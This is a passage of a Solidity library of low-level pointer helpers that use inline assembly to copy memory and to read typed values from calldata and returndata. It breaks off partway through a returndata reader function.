bytes from returndata starting at `src` to memory at\n /// `dst`.\n function copy(\n ReturndataPointer src,\n MemoryPointer dst,\n uint256 size\n ) internal pure {\n assembly {\n returndatacopy(dst, src, size)\n }\n }\n}\n\nlibrary MemoryPointerLib {\n function copy(\n MemoryPointer src,\n MemoryPointer dst,\n uint256 size\n ) internal view {\n assembly {\n let success := staticcall(\n gas(),\n IdentityPrecompileAddress,\n src,\n size,\n dst,\n size\n )\n if or(iszero(returndatasize()), iszero(success)) {\n revert(0, 0)\n }\n }\n }\n\n function lt(\n MemoryPointer a,\n MemoryPointer b\n ) internal pure returns (bool c) {\n assembly {\n c := lt(a, b)\n }\n }\n\n function gt(\n MemoryPointer a,\n MemoryPointer b\n ) internal pure returns (bool c) {\n assembly {\n c := gt(a, b)\n }\n }\n\n function eq(\n MemoryPointer a,\n MemoryPointer b\n ) internal pure returns (bool c) {\n assembly {\n c := eq(a, b)\n }\n }\n\n function isNull(MemoryPointer a) internal pure returns (bool b) {\n assembly {\n b := iszero(a)\n }\n }\n\n function hash(\n MemoryPointer ptr,\n uint256 length\n ) internal pure returns (bytes32 _hash) {\n assembly {\n _hash := keccak256(ptr, length)\n }\n }\n\n /// @dev Returns the memory pointer one word after `mPtr`.\n function next(\n MemoryPointer mPtr\n ) internal pure returns (MemoryPointer mPtrNext) {\n assembly {\n mPtrNext := add(mPtr, _OneWord)\n }\n }\n\n /// @dev Returns the memory pointer `_offset` bytes after `mPtr`.\n function offset(\n MemoryPointer mPtr,\n uint256 _offset\n ) internal pure returns (MemoryPointer mPtrNext) {\n assembly {\n mPtrNext := add(mPtr, _offset)\n }\n }\n\n /// @dev Resolves a pointer at `mPtr + headOffset` to a memory\n /// pointer. `mPtr` must point to some parent object with a dynamic\n /// type's pointer stored at `mPtr + headOffset`.\n function pptr(\n MemoryPointer mPtr,\n uint256 headOffset\n ) internal pure returns (MemoryPointer mPtrChild) {\n mPtrChild = mPtr.offset(headOffset).readMemoryPointer();\n }\n\n /// @dev Resolves a pointer stored at `mPtr` to a memory pointer.\n /// `mPtr` must point to some parent object with a dynamic type as its\n /// first member, e.g. `struct { bytes data; }`\n function pptr(\n MemoryPointer mPtr\n ) internal pure returns (MemoryPointer mPtrChild) {\n mPtrChild = mPtr.readMemoryPointer();\n }\n}\n\nlibrary CalldataReaders {\n /// @dev Reads the value at `cdPtr` and applies a mask to return only the\n /// last 4 bytes.\n function readMaskedUint256(\n CalldataPointer cdPtr\n ) internal pure returns (uint256 value) {\n value = cdPtr.readUint256() & OffsetOrLengthMask;\n }\n\n /// @dev Reads the bool at `cdPtr` in calldata.\n function readBool(\n CalldataPointer cdPtr\n ) internal pure returns (bool value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the address at `cdPtr` in calldata.\n function readAddress(\n CalldataPointer cdPtr\n ) internal pure returns (address value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes1 at `cdPtr` in calldata.\n function readBytes1(\n CalldataPointer cdPtr\n ) internal pure returns (bytes1 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes2 at `cdPtr` in calldata.\n function readBytes2(\n CalldataPointer cdPtr\n ) internal pure returns (bytes2 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes3 at `cdPtr` in calldata.\n function readBytes3(\n CalldataPointer cdPtr\n ) internal pure returns (bytes3 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes4 at `cdPtr` in calldata.\n function readBytes4(\n CalldataPointer cdPtr\n ) internal pure returns (bytes4 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes5 at `cdPtr` in calldata.\n function readBytes5(\n CalldataPointer cdPtr\n ) internal pure returns (bytes5 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes6 at `cdPtr` in calldata.\n function readBytes6(\n CalldataPointer cdPtr\n ) internal pure returns (bytes6 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes7 at `cdPtr` in calldata.\n function readBytes7(\n CalldataPointer cdPtr\n ) internal pure returns (bytes7 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes8 at `cdPtr` in calldata.\n function readBytes8(\n CalldataPointer cdPtr\n ) internal pure returns (bytes8 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes9 at `cdPtr` in calldata.\n function readBytes9(\n CalldataPointer cdPtr\n ) internal pure returns (bytes9 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes10 at `cdPtr` in calldata.\n function readBytes10(\n CalldataPointer cdPtr\n ) internal pure returns (bytes10 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes11 at `cdPtr` in calldata.\n function readBytes11(\n CalldataPointer cdPtr\n ) internal pure returns (bytes11 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes12 at `cdPtr` in calldata.\n function readBytes12(\n CalldataPointer cdPtr\n ) internal pure returns (bytes12 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes13 at `cdPtr` in calldata.\n function readBytes13(\n CalldataPointer cdPtr\n ) internal pure returns (bytes13 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes14 at `cdPtr` in calldata.\n function readBytes14(\n CalldataPointer cdPtr\n ) internal pure returns (bytes14 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes15 at `cdPtr` in calldata.\n function readBytes15(\n CalldataPointer cdPtr\n ) internal pure returns (bytes15 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes16 at `cdPtr` in calldata.\n function readBytes16(\n CalldataPointer cdPtr\n ) internal pure returns (bytes16 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes17 at `cdPtr` in calldata.\n function readBytes17(\n CalldataPointer cdPtr\n ) internal pure returns (bytes17 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes18 at `cdPtr` in calldata.\n function readBytes18(\n CalldataPointer cdPtr\n ) internal pure returns (bytes18 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes19 at `cdPtr` in calldata.\n function readBytes19(\n CalldataPointer cdPtr\n ) internal pure returns (bytes19 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes20 at `cdPtr` in calldata.\n function readBytes20(\n CalldataPointer cdPtr\n ) internal pure returns (bytes20 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes21 at `cdPtr` in calldata.\n function readBytes21(\n CalldataPointer cdPtr\n ) internal pure returns (bytes21 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes22 at `cdPtr` in calldata.\n function readBytes22(\n CalldataPointer cdPtr\n ) internal pure returns (bytes22 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes23 at `cdPtr` in calldata.\n function readBytes23(\n CalldataPointer cdPtr\n ) internal pure returns (bytes23 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes24 at `cdPtr` in calldata.\n function readBytes24(\n CalldataPointer cdPtr\n ) internal pure returns (bytes24 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes25 at `cdPtr` in calldata.\n function readBytes25(\n CalldataPointer cdPtr\n ) internal pure returns (bytes25 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes26 at `cdPtr` in calldata.\n function readBytes26(\n CalldataPointer cdPtr\n ) internal pure returns (bytes26 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes27 at `cdPtr` in calldata.\n function readBytes27(\n CalldataPointer cdPtr\n ) internal pure returns (bytes27 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes28 at `cdPtr` in calldata.\n function readBytes28(\n CalldataPointer cdPtr\n ) internal pure returns (bytes28 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes29 at `cdPtr` in calldata.\n function readBytes29(\n CalldataPointer cdPtr\n ) internal pure returns (bytes29 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes30 at `cdPtr` in calldata.\n function readBytes30(\n CalldataPointer cdPtr\n ) internal pure returns (bytes30 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes31 at `cdPtr` in calldata.\n function readBytes31(\n CalldataPointer cdPtr\n ) internal pure returns (bytes31 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes32 at `cdPtr` in calldata.\n function readBytes32(\n CalldataPointer cdPtr\n ) internal pure returns (bytes32 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint8 at `cdPtr` in calldata.\n function readUint8(\n CalldataPointer cdPtr\n ) internal pure returns (uint8 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint16 at `cdPtr` in calldata.\n function readUint16(\n CalldataPointer cdPtr\n ) internal pure returns (uint16 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint24 at `cdPtr` in calldata.\n function readUint24(\n CalldataPointer cdPtr\n ) internal pure returns (uint24 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint32 at `cdPtr` in calldata.\n function readUint32(\n CalldataPointer cdPtr\n ) internal pure returns (uint32 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint40 at `cdPtr` in calldata.\n function readUint40(\n CalldataPointer cdPtr\n ) internal pure returns (uint40 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint48 at `cdPtr` in calldata.\n function readUint48(\n CalldataPointer cdPtr\n ) internal pure returns (uint48 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint56 at `cdPtr` in calldata.\n function readUint56(\n CalldataPointer cdPtr\n ) internal pure returns (uint56 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint64 at `cdPtr` in calldata.\n function readUint64(\n CalldataPointer cdPtr\n ) internal pure returns (uint64 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint72 at `cdPtr` in calldata.\n function readUint72(\n CalldataPointer cdPtr\n ) internal pure returns (uint72 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint80 at `cdPtr` in calldata.\n function readUint80(\n CalldataPointer cdPtr\n ) internal pure returns (uint80 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint88 at `cdPtr` in calldata.\n function readUint88(\n CalldataPointer cdPtr\n ) internal pure returns (uint88 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint96 at `cdPtr` in calldata.\n function readUint96(\n CalldataPointer cdPtr\n ) internal pure returns (uint96 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint104 at `cdPtr` in calldata.\n function readUint104(\n CalldataPointer cdPtr\n ) internal pure returns (uint104 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint112 at `cdPtr` in calldata.\n function readUint112(\n CalldataPointer cdPtr\n ) internal pure returns (uint112 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint120 at `cdPtr` in calldata.\n function readUint120(\n CalldataPointer cdPtr\n ) internal pure returns (uint120 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint128 at `cdPtr` in calldata.\n function readUint128(\n CalldataPointer cdPtr\n ) internal pure returns (uint128 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint136 at `cdPtr` in calldata.\n function readUint136(\n CalldataPointer cdPtr\n ) internal pure returns (uint136 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint144 at `cdPtr` in calldata.\n function readUint144(\n CalldataPointer cdPtr\n ) internal pure returns (uint144 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint152 at `cdPtr` in calldata.\n function readUint152(\n CalldataPointer cdPtr\n ) internal pure returns (uint152 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint160 at `cdPtr` in calldata.\n function readUint160(\n CalldataPointer cdPtr\n ) internal pure returns (uint160 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint168 at `cdPtr` in calldata.\n function readUint168(\n CalldataPointer cdPtr\n ) internal pure returns (uint168 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint176 at `cdPtr` in calldata.\n function readUint176(\n CalldataPointer cdPtr\n ) internal pure returns (uint176 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint184 at `cdPtr` in calldata.\n function readUint184(\n CalldataPointer cdPtr\n ) internal pure returns (uint184 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint192 at `cdPtr` in calldata.\n function readUint192(\n CalldataPointer cdPtr\n ) internal pure returns (uint192 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint200 at `cdPtr` in calldata.\n function readUint200(\n CalldataPointer cdPtr\n ) internal pure returns (uint200 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint208 at `cdPtr` in calldata.\n function readUint208(\n CalldataPointer cdPtr\n ) internal pure returns (uint208 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint216 at `cdPtr` in calldata.\n function readUint216(\n CalldataPointer cdPtr\n ) internal pure returns (uint216 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint224 at `cdPtr` in calldata.\n function readUint224(\n CalldataPointer cdPtr\n ) internal pure returns (uint224 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint232 at `cdPtr` in calldata.\n function readUint232(\n CalldataPointer cdPtr\n ) internal pure returns (uint232 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint240 at `cdPtr` in calldata.\n function readUint240(\n CalldataPointer cdPtr\n ) internal pure returns (uint240 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint248 at `cdPtr` in calldata.\n function readUint248(\n CalldataPointer cdPtr\n ) internal pure returns (uint248 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint256 at `cdPtr` in calldata.\n function readUint256(\n CalldataPointer cdPtr\n ) internal pure returns (uint256 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int8 at `cdPtr` in calldata.\n function readInt8(\n CalldataPointer cdPtr\n ) internal pure returns (int8 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int16 at `cdPtr` in calldata.\n function readInt16(\n CalldataPointer cdPtr\n ) internal pure returns (int16 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int24 at `cdPtr` in calldata.\n function readInt24(\n CalldataPointer cdPtr\n ) internal pure returns (int24 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int32 at `cdPtr` in calldata.\n function readInt32(\n CalldataPointer cdPtr\n ) internal pure returns (int32 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int40 at `cdPtr` in calldata.\n function readInt40(\n CalldataPointer cdPtr\n ) internal pure returns (int40 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int48 at `cdPtr` in calldata.\n function readInt48(\n CalldataPointer cdPtr\n ) internal pure returns (int48 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int56 at `cdPtr` in calldata.\n function readInt56(\n CalldataPointer cdPtr\n ) internal pure returns (int56 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int64 at `cdPtr` in calldata.\n function readInt64(\n CalldataPointer cdPtr\n ) internal pure returns (int64 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int72 at `cdPtr` in calldata.\n function readInt72(\n CalldataPointer cdPtr\n ) internal pure returns (int72 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int80 at `cdPtr` in calldata.\n function readInt80(\n CalldataPointer cdPtr\n ) internal pure returns (int80 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int88 at `cdPtr` in calldata.\n function readInt88(\n CalldataPointer cdPtr\n ) internal pure returns (int88 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int96 at `cdPtr` in calldata.\n function readInt96(\n CalldataPointer cdPtr\n ) internal pure returns (int96 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int104 at `cdPtr` in calldata.\n function readInt104(\n CalldataPointer cdPtr\n ) internal pure returns (int104 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int112 at `cdPtr` in calldata.\n function readInt112(\n CalldataPointer cdPtr\n ) internal pure returns (int112 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int120 at `cdPtr` in calldata.\n function readInt120(\n CalldataPointer cdPtr\n ) internal pure returns (int120 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int128 at `cdPtr` in calldata.\n function readInt128(\n CalldataPointer cdPtr\n ) internal pure returns (int128 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int136 at `cdPtr` in calldata.\n function readInt136(\n CalldataPointer cdPtr\n ) internal pure returns (int136 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int144 at `cdPtr` in calldata.\n function readInt144(\n CalldataPointer cdPtr\n ) internal pure returns (int144 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int152 at `cdPtr` in calldata.\n function readInt152(\n CalldataPointer cdPtr\n ) internal pure returns (int152 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int160 at `cdPtr` in calldata.\n function readInt160(\n CalldataPointer cdPtr\n ) internal pure returns (int160 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int168 at `cdPtr` in calldata.\n function readInt168(\n CalldataPointer cdPtr\n ) internal pure returns (int168 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int176 at `cdPtr` in calldata.\n function readInt176(\n CalldataPointer cdPtr\n ) internal pure returns (int176 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int184 at `cdPtr` in calldata.\n function readInt184(\n CalldataPointer cdPtr\n ) internal pure returns (int184 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int192 at `cdPtr` in calldata.\n function readInt192(\n CalldataPointer cdPtr\n ) internal pure returns (int192 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int200 at `cdPtr` in calldata.\n function readInt200(\n CalldataPointer cdPtr\n ) internal pure returns (int200 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int208 at `cdPtr` in calldata.\n function readInt208(\n CalldataPointer cdPtr\n ) internal pure returns (int208 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int216 at `cdPtr` in calldata.\n function readInt216(\n CalldataPointer cdPtr\n ) internal pure returns (int216 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int224 at `cdPtr` in calldata.\n function readInt224(\n CalldataPointer cdPtr\n ) internal pure returns (int224 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int232 at `cdPtr` in calldata.\n function readInt232(\n CalldataPointer cdPtr\n ) internal pure returns (int232 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int240 at `cdPtr` in calldata.\n function readInt240(\n CalldataPointer cdPtr\n ) internal pure returns (int240 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int248 at `cdPtr` in calldata.\n function readInt248(\n CalldataPointer cdPtr\n ) internal pure returns (int248 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int256 at `cdPtr` in calldata.\n function readInt256(\n CalldataPointer cdPtr\n ) internal pure returns (int256 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n}\n\nlibrary ReturndataReaders {\n /// @dev Reads value at `rdPtr` & applies a mask to return only last 4 bytes\n function readMaskedUint256(\n ReturndataPointer rdPtr\n ) internal pure returns (uint256 value) {\n value = rdPtr.readUint256() & OffsetOrLengthMask;\n }\n\n /// @dev Reads the bool at `rdPtr` in returndata.\n function readBool(\n ReturndataPointer rdPtr\n ) internal pure returns (bool value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the address at `rdPtr` in returndata.\n function readAddress(\n ReturndataPointer rdPtr\n ) internal pure returns (address value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes1 at `rdPtr` in returndata.\n function readBytes1(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes1 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes2 at `rdPtr` in returndata.\n function readBytes2(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes2 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes3 at `rdPtr` in returndata.\n function readBytes3(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes3 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes4 at `rdPtr` in returndata.\n function readBytes4(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes4 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes5 at `rdPtr` in returndata.\n function readBytes5(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes5 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes6 at `rdPtr` in returndata.\n function readBytes6(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes6 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes7 at `rdPtr` in returndata.\n function readBytes7(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes7 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes8 at `rdPtr` in returndata.\n function readBytes8(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes8 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes9 at `rdPtr` in returndata.\n function readBytes9(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes9 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes10 at `rdPtr` in returndata.\n function readBytes10(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes10 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes11 at `rdPtr` in returndata.\n function readBytes11(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes11 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes12 at `rdPtr` in returndata.\n function readBytes12(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes12 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes13 at `rdPtr` in returndata.\n function readBytes13(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes13 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes14 at `rdPtr` in returndata.\n function readBytes14(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes14 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes15 at `rdPtr` in returndata.\n function readBytes15(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes15 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes16 at `rdPtr` in returndata.\n function readBytes16(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes16 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes17 at `rdPtr` in returndata.\n function readBytes17(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes17 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes18 at `rdPtr` in returndata.\n function readBytes18(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes18 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes19 at `rdPtr` in returndata.\n function readBytes19(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes19 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes20 at `rdPtr` in returndata.\n function readBytes20(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes20 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes21 at `rdPtr` in returndata.\n function readBytes21(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes21 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes22 at `rdPtr` in returndata.\n function readBytes22(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes22 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes23 at `rdPtr` in returndata.\n function readBytes23(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes23 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes24 at `rdPtr` in returndata.\n function readBytes24(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes24 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes25 at `rdPtr` in returndata.\n function readBytes25(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes25 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes26 at `rdPtr` in returndata.\n function readBytes26(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes26 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes27 at `rdPtr` in returndata.\n function readBytes27(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes27 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes28 at `rdPtr` in returndata.\n function readBytes28(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes28 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes29 at `rdPtr` in returndata.\n function readBytes29(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes29 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes30 at `rdPtr` in returndata.\n function readBytes30(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes30 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes31 at `rdPtr` in returndata.\n function readBytes31(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes31 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes32 at `rdPtr` in returndata.\n function readBytes32(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes32 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint8 at `rdPtr` in returndata.\n function readUint8(\n ReturndataPointer rdPtr\n 